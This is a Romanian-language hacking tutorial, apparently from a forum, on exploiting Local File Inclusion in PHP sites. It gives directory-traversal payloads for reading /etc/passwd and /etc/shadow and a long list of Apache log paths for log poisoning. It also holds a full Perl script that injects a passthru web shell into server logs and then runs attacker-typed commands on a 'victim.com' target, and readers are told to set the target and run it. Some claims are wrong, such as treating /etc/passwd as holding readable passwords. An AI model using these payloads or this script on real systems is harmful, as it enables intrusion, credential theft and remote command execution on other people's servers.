Introducerea in LFI

Buna ziua! In acest tutorial o sa invatati cum cum sa exploatati vulnerabilitatea LFI dintr-un site.

Mai intai, sa vedem acest mic cod php:

Code:

<?php
$page = $_GET[page];
include($page);
?> 

Acesta este un cod care nu ar trebui folosit niciodata, vulnerabil la LFI, pentru ca variabila $page nu este santinizata.

Ok, acum sa profitam de aceasta vulnerabilitate, folosind urmatorul cod:

Code:

site.host/index.php?page=../../../../../../../etc/passwd

Daca siteul este gazduit Unix, parolele userilor sunt stocate in /etc/passwd si codul de mai sus ne arata aceste parole si usernameurile. Acum tot ce mai ai de facut este sa decodezi parola. 
O parola criptata, ar trebui sa arate cam asa:

Code:

username:x:503:100:FullName:/home/username:/bin/sh

In acest exemplu, parola este x, alt exemplu de parola fiind:

Code:

username:!:503:100:FullName:/home/username:/bin/sh

Alte "locuri" unde puteti gasi parolele in afara de /etc/passwd ar cam fi:

Code:

/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits

In caz ca Browserul va arata la sfarsitul includerii un .php (si automat. /etc/passwd.php nu va mai exista), adaugati la sf includerii , serverul va omite tot ce scrie dupa .
Exemplu de cod:

Code:

site.host/index.php?file=../../../../../../../../etc/passwd

Acum vom incerca sa rulam comenzi pe server injectand coduri php in loguri, apoi rulandu-le.
Cateva adrese de loguri:

Code:

../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_log
../../../../../../../usr/local/apache/logs/access.log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_log
../../../../../../../usr/local/apache/logs/error.log
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log

Ok, acum sa aruncam o privire asupra logului in care se salveaza paginile care nu exista si urmatorul cod: <? passthru(\$_GET[cmd]) ?>. Daca scriem in browser:

Code:

site.host/<? passthru(\$_GET[cmd]) ?>

O sa ne arate evident o pagina in care scrie ca acest cod nu exista pe server, deoarece browserul encodeaza automat URL'ul si pagina pe care noi am accesat-o, browserul o traduce in:

Code:

site.host/%3C?%20passthru(\$_GET[cmd])%20?>

Deci va trebui sa facem altceva... Putem utiliza urmatorul script perl:

Code:

#!/usr/bin/perl -w
use IO::Socket;
use LWP::UserAgent;
$site="victim.com";
$path="/folder/";
$code="<? passthru(\$_GET[cmd]) ?>";
$log = "../../../../../../../etc/httpd/logs/error_log";

print "Trying to inject the code";

$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die "\nConnection Failed.\n\n";
print $socket "GET ".$path.$code." HTTP/1.1\r\n";
print $socket "User-Agent: ".$code."\r\n";
print $socket "Host: ".$site."\r\n";
print $socket "Connection: close\r\n\r\n";
close($socket);
print "\nCode $code sucssefully injected in $log \n";

print "\nType command to run or exit to end: ";
$cmd = <STDIN>;

while($cmd !~ "exit") {

$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die "\nConnection Failed.\n\n";
    print $socket "GET ".$path."index.php=".$log."&cmd=$cmd HTTP/1.1\r\n";
    print $socket "Host: ".$site."\r\n";
    print $socket "Accept: */*\r\n";
    print $socket "Connection: close\r\n\n";

    while ($show = <$socket>)
    {
        print $show;
    }

print "Type command to run or exit to end: ";
$cmd = <STDIN>;
}

Copy/Paste la chestia asta si salveaz-o ca ex.pl, dar nu uita sa modifici in exploit urmatoarele lucruri:
1) modifica numele siteului
2) modifica numele logului si calea catre el
3) schimba index.php= cu ce doresti tu

Rulati scriptul si el va va intreba ce comenzi sa rulati !!! Va descurcati de aici incolo !!!

Linkuri utile: 

Code:

http://www.milw0rm.com/video/watch.php?id=57

Acesta este un mic tutorial video, incercati sa-l vizionati ca este foarte bun.

Proof of Concept:
[img]
http://img355.imageshack.us/my.php?image=sitewe2.jpg
[/img]

Autor in limba engleza: d3fcrash

Traducerea si adaptarea+modificari: vladii


sursa : http://hackpedia.info